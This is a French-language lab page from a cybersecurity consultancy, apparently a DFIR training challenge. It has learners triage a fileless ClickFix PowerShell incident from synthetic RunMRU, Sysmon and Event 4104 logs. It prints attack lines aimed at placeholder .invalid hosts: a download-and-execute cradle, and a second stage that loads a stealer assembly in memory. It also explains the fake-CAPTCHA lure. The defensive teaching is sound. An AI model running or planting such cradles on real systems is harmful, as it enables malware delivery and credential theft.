Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo

Fileless · ClickFix · PowerShell · MITRE T1059.001

Sans fichier : trier un incident PowerShell ClickFix

Les attaques ClickFix (fausse CAPTCHA) ont bondi de 517 % en 2025 et sont un vecteur d'accès initial majeur : la page dit à l'utilisateur d'appuyer sur Win+R et de coller une commande. Rien n'est écrit sur le disque. Vous n'avez que des logs. Reconstituez ce qui a tourné sur NORTHSEA-DEV.

~50 minDurée estimée
base64 · CyberChef · éditeur de texteOutils
T1204 · T1059.001 · T1027 · T1105MITRE ATT&CK
★★★☆ IntermédiaireFilelessPowerShell

L'échantillon

Fichierchallenge-07-fileless-logs.zip
SHA-256b98e911edcf3a3ca7a13147b6549e7cab247a5e67df377bcc54029c993b977bc
ContenuRunMRU, PowerShell 4104, Sysmon (export CSV/reg)
ContexteNORTHSEA-DEV (alex), 2026-06-16 08:41 UTC

Export de logs synthétique. Les hôtes C2 sont des domaines .invalid non résolubles, rien n'est contacté. Analyse en VM isolée.

1. Scénario

Un utilisateur signale une fausse CAPTCHA qui lui a demandé d'appuyer sur Win+R, puis Ctrl+V, puis Entrée pour « vérifier ». C'est ClickFix : la page a écrit silencieusement une commande dans le presse-papier, et l'utilisateur l'a collée dans la boîte Exécuter et l'a lancée lui-même. Pas de macro, pas d'exploit, pas de fichier, donc l'alerte EDR est mince.

On vous remet trois exports de logs de l'hôte. Reconstituez la chaîne, décodez ce qui a tourné, et produisez les IOCs.

🧠 ClickFix en une phrase : une fausse invite de vérification pousse la victime à exécuter la commande de l'attaquant via la boîte Exécuter de Windows. La kill chain se réduit à un simple collage.

2. Objectifs

3. Triage pas à pas

1

Point d'entrée, la boîte Exécuter

RunMRU.reg

ClickFix passe par la boîte Exécuter de Windows : le premier artefact fort est donc RunMRU, qui enregistre ce que l'utilisateur a tapé ou collé.

RunMRU.reg
[HKEY_CURRENT_USER\...\Explorer\RunMRU]
"a"="powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA... # I am not a robot - Verification Ray ID: 8f2c1a9d\1"
"MRUList"="ba"

🚩 Un powershell -EncodedCommand dans RunMRU, déguisé avec un faux commentaire « I am not a robot », est la signature ClickFix. L'utilisateur l'a collé lui-même (ClickFix +517 % en 2025).

2

Chaîne de process

Sysmon (1, 3)

Confirmez comment ça a démarré et où ça a rappelé. La relation parent-enfant est le révélateur.

Sysmon (simplified)
1  explorer.exe  ->  powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA...
3  powershell.exe  ->  stage2-cdn.example.invalid:80
3  powershell.exe  ->  stage2-cdn.example.invalid:80

🔴 explorer.exe qui lance un powershell.exe caché qui rappelle aussitôt, c'est anormal : un humain l'a lancé depuis le shell (la boîte Exécuter), pas une appli. Pas de parent Office ni navigateur = ce n'est pas un exploit de document.

3

Décoder l'EncodedCommand

base64 · CyberChef

PowerShell -EncodedCommand, c'est du base64 de texte UTF-16LE. Décodez-le pour révéler le stage 1.

decode
# PowerShell
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBFAFgA...'))
# ou bash
echo 'SQBFAFgA...' | base64 -d | iconv -f UTF-16LE -t UTF-8
output
IEX (New-Object Net.WebClient).DownloadString('http://stage2-cdn.example.invalid/a.ps1')
🔬 Ouvrir la recette CyberChef, From Base64 puis Decode UTF-16LE

💡 Le stage 1 est un download cradle classique : IEX (New-Object Net.WebClient).DownloadString(...) récupère un script depuis le C2 et l'exécute en mémoire, aucun fichier ne touche le disque.

4

Le second stage, dans le Script Block Logging

PowerShell 4104

Le Script Block Logging (Event 4104) enregistre le code déobfusqué réellement exécuté par PowerShell, y compris ce que le cradle a téléchargé.

Event 4104 ScriptBlockText
$u='http://stage2-cdn.example.invalid/payload.dat';$o="$env:APPDATA\Microsoft\svc.dat";(New-Object Net.WebClient).DownloadFile($u,$o);$b=[IO.File]::ReadAllBytes($o);[Reflection.Assembly]::Load($b);[NSD.Stealer]::Run()

🔥 Le second stage télécharge payload.dat et le charge via [Reflection.Assembly]::Load(), exécuté en mémoire ([NSD.Stealer]::Run()). Aucun PE sur disque, d'où l'AV par signature aveugle. C'est l'accès initial qui a déposé l'infostealer du Challenge #06.

4. Pourquoi c'est fileless, et comment l'attraper

5. Synthèse IOC et ATT&CK

TypeValeurATT&CK
Accès initialClickFix, powershell -enc collé dans RunMRUT1204
Exécutionpowershell.exe -enc -w hidden (enfant d'explorer)T1059.001
ObfuscationEncodedCommand base64 / UTF-16LET1027 / T1140
C2 / cradlehttp://stage2-cdn.example.invalid/a.ps1T1105
Chargement mémoire[Reflection.Assembly]::Load -> NSD.StealerT1620
Suitelog d'infostealer (voir Challenge #06)T1555 / T1539

6. Références

Think before you Click(Fix), Microsoft

Comment fonctionne ClickFix et à quel point c'est devenu courant en accès initial.

ClickFix +517 %, Infosecurity

La flambée 2025 qui a fait de ClickFix un vecteur majeur.

MITRE T1059.001, PowerShell

Abus de PowerShell pour l'exécution, y compris les commandes encodées.

MITRE T1027, Obfuscated Files or Information

Encodage et obfuscation, dont le base64 EncodedCommand.

Environnement entièrement fictif, à usage éducatif uniquement. Les hôtes C2 sont des domaines .invalid non résolubles.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium